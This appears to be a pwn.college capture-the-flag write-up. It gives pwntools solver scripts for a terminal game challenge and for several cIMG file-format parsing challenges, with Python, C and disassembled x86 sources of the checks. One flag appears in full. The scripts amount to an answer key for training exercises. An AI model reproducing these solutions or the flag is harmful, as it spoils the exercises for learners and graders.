34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import struct
import subprocess

from pwn import *


def solve(known_flag):
try:
# PTY 欺骗 termios,PIPE 保证二进制流纯净
p = process(
["/challenge/quest.py"],
stdin=process.PTY,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as e:
return known_flag

try:
p.recvn(12) # 魔数
except EOFError:
return known_flag

state = {
"px": -1,
"py": -1,
"hx": -1,
"hy": -1,
"bx": -1,
"by": -1,
"frame_flag": "",
}

def parse_frame():
state["px"] = state["bx"] = state["hx"] = -1
frame_chars = ""
saw_player = False

while True:
try:
# 超时阻断,防止卡在输入缓冲区死锁
if not p.can_recv(timeout=0.2):
return "TIMEOUT"

op_bytes = p.recvn(2)
if not op_bytes:
return False
op = struct.unpack("<H", op_bytes)[0]
except EOFError:
return False

if op == 7: # RENDER_FRAME
p.recvn(70 * 20 * 4)
elif op == 6: # RENDER_PATCH
px, py, pw, ph = struct.unpack("<BBBB", p.recvn(4))
pixels = p.recvn(pw * ph * 4)
if pw == 1 and ph == 1:
# 获取 RGB 和 字符
r_col, g_col, b_col, c = pixels[0], pixels[1], pixels[2], pixels[3]
if c == ord("?"):
state["hx"], state["hy"] = px, py
elif c == ord("B") and r_col == 0xff and g_col == 0xc6 and b_col == 0x27:
# 只有黄色 (255, 198, 39) 的 B 才是炸弹, Flag may be B
state["bx"], state["by"] = px, py
elif chr(c) not in (" ", "!", "#"):
frame_chars += chr(c)
elif op == 5: # CREATE_SPRITE
s_id, sw, sh = struct.unpack("<BBB", p.recvn(3))
p.recvn(sw * sh)
elif op == 4: # RENDER_SPRITE
num, r, g, b, px, py, tx, ty, tc = struct.unpack(
"<BBBBBBBBB", p.recvn(9)
)
if num == 0:
state["px"], state["py"] = px, py
saw_player = True
elif op == 2: # FLUSH (当前帧渲染完毕)
p.recvn(1)
if saw_player or "pwn.college" in frame_chars:
state["frame_flag"] = frame_chars
return True
elif op == 1: # SLEEP
p.recvn(4)
else:
return False
def get_best_move(px, py, hx, hy, bx, by):
"""BFS 最短路径寻路"""
queue = [(px, py, [])]
visited = set([(px, py)])
while queue:
cx, cy, path = queue.pop(0)

# 3x2 bounding box
if hx in (cx, cx + 1, cx + 2) and hy in (cy, cy + 1):
return path[0] if path else "l"

for key, dx, dy in [("w", 0, -1), ("s", 0, 1), ("a", -1, 0), ("d", 1, 0)]:
# Toroidal Map Wrapping
nx, ny = (cx + dx) % 70, (cy + dy) % 20
# boom here
if not (bx in (nx, nx + 1, nx + 2) and by in (ny, ny + 1)):
if (nx, ny) not in visited:
visited.add((nx, ny))
queue.append((nx, ny, path + [key]))
return "SOFTLOCK"

while True:
res = parse_frame()

if res == "TIMEOUT":
p.send(b" ")
continue

if not res:
p.close()
break

# 增量比对:只在提取进度超越已知记录时才打印
if state["frame_flag"] and len(state["frame_flag"]) > len(known_flag):
known_flag = state["frame_flag"]
print(f"[+] Extracted so far: {known_flag}")
if known_flag.endswith("}"):
p.close()
return known_flag

if state["px"] != -1 and state["bx"] != -1 and state["hx"] != -1:
move = get_best_move(
state["px"],
state["py"],
state["hx"],
state["hy"],
state["bx"],
state["by"],
)
if move == "SOFTLOCK":
print(
f"[*] Soft-lock detected at Target ({state['hx']:02d},{state['hy']:02d}). "
)
p.close()
return known_flag
p.send(move.encode())
return known_flag


if __name__ == "__main__":
print("START")
current_flag = ""
while True:
current_flag = solve(current_flag)
pwn.college{UQiZnG5aDyBxJ26_n3xJLkCeLWB.QXzIzMwEDL4cjM1gzW}

Input Restrictions (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(9)
assert len(header) == 9, "ERROR: Failed to read header!"

assert header[:4] == b"cIMG", "ERROR: Invalid magic number!"

assert int.from_bytes(header[4:5], "little") == 1, "ERROR: Invalid version!"

width = int.from_bytes(header[5:7], "little")
assert width == 71, "ERROR: Incorrect width!"

height = int.from_bytes(header[7:9], "little")
assert height == 21, "ERROR: Incorrect height!"

data = file.read1(width * height)
assert len(data) == width * height, "ERROR: Failed to read data!"

pixels = [Pixel(character) for character in data]

invalid_character = next((pixel.ascii for pixel in pixels if not (0x20 <= pixel.ascii <= 0x7E)), None)
assert invalid_character is None, f"ERROR: Invalid character {invalid_character:#04x} in data!"

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 71
height = 21
data_length = width * height

# I -> 4 bytes
# B -> 1 byte
# H -> 2 bytes
file_header = struct.pack("<4sBHH", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Input Restrictions (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// ...
#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 1)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

if (cimg.header.width != 71)
{
puts("ERROR: Incorrect width!");
exit(-1);
}

if (cimg.header.height != 21)
{
puts("ERROR: Incorrect height!");
exit(-1);
}

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 71
height = 21
data_length = width * height

# I -> 4 bytes
# B -> 1 byte
# H -> 2 bytes
# Q -> 8 bytes
file_header = struct.pack("<4sHBQ", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Input Restrictions (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# ...
│ 0x004012fd 807c240663 cmp byte [rsp + 6], 0x63 ; 'c'
│┌─< 0x00401302 7515 jne 0x401319
││ 0x00401304 807c240749 cmp byte [rsp + 7], 0x49 ; 'I'
┌───< 0x00401309 750e jne 0x401319
│││ 0x0040130b 807c24084d cmp byte [rsp + 8], 0x4d ; 'M'
┌────< 0x00401310 7507 jne 0x401319
││││ 0x00401312 807c240947 cmp byte [rsp + 9], 0x47 ; 'G'
┌─────< 0x00401317 7414 je 0x40132d
│└└─└─> 0x00401319 488d3df60d.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402116 ; "ERROR: Invalid magic number!"
┌─┌┌─┌─> 0x00401320 e81bfeffff call sym.imp.puts ;[6]
┌────└──> 0x00401325 83cfff or edi, 0xffffffff ; -1
╎╎│╎╎ ╎ 0x00401328 e8d3feffff call sym.imp.exit ;[7]
╎╎└─────> 0x0040132d 48837c240a01 cmp qword [rsp + 0xa], 1
╎╎ ╎╎ ╎ 0x00401333 488d3df90d.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x402133 ; "ERROR: Unsupported version!"
╎└──────< 0x0040133a 75e4 jne 0x401320
╎ ╎╎ ╎ 0x0040133c 66837c24122e cmp word [rsp + 0x12], 0x2e ; '.'
╎ ╎╎ ╎ 0x00401342 488d3d060e.. lea rdi, str.ERROR:_Incorrect_width_ ; 0x40214f ; "ERROR: Incorrect width!"
╎ └────< 0x00401349 75d5 jne 0x401320
╎ ╎ ╎ 0x0040134b 837c241414 cmp dword [rsp + 0x14], 0x14
╎ ╎ ╎ 0x00401350 488d3d100e.. lea rdi, str.ERROR:_Incorrect_height_ ; 0x402167 ; "ERROR: Incorrect height!"
╎ └───< 0x00401357 75c7 jne 0x401320
╎ ╎ 0x00401359 bf98030000 mov edi, 0x398 ; 920
╎ ╎ 0x0040135e e85dfeffff call sym.imp.malloc ;[8]
╎ ╎ 0x00401363 488d3d160e.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x402180 ; "ERROR: Failed to all
╎ ╎ 0x0040136a 4889c3 mov rbx, rax
╎ ╎ 0x0040136d 4885c0 test rax, rax
╎ └─< 0x00401370 74ae je 0x401320
╎ 0x00401372 ba98030000 mov edx, 0x398 ; 920
╎ 0x00401377 4889c6 mov rsi, rax
╎ 0x0040137a 4183c8ff or r8d, 0xffffffff ; -1
╎ 0x0040137e 31ff xor edi, edi
╎ 0x00401380 488d0d2e0e.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x4021b5 ; "ERROR: Failed to read data!"
╎ 0x00401387 e83f020000 call sym.read_exact ;[5]
╎ 0x0040138c 0fb7542412 movzx edx, word [rsp + 0x12]
╎ 0x00401391 0faf542414 imul edx, dword [rsp + 0x14]
╎ 0x00401396 31c0 xor eax, eax
╎ ┌─> 0x00401398 39c2 cmp edx, eax
╎ ┌──< 0x0040139a 762f jbe 0x4013cb
╎ │╎ 0x0040139c 0fb60c03 movzx ecx, byte [rbx + rax]
╎ │╎ 0x004013a0 48ffc0 inc rax
╎ │╎ 0x004013a3 8d71e0 lea esi, [rcx - 0x20]
╎ │╎ 0x004013a6 4080fe5e cmp sil, 0x5e ; '^' ; 94
╎ │└─< 0x004013aa 76ec jbe 0x401398
╎ │ 0x004013ac 488b3d8d2c.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
╎ │ ; [0x404040:8]=0
╎ │ 0x004013b3 488d15170e.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_
╎ │ ; 0x4021d1 ; "ERROR: Invalid character 0x%x in the image data!\n"
╎ │ 0x004013ba be01000000 mov esi, 1
╎ │ 0x004013bf 31c0 xor eax, eax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 0x2e
height = 0x14
data_length = width * height

file_header = struct.pack("<4sQHI", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’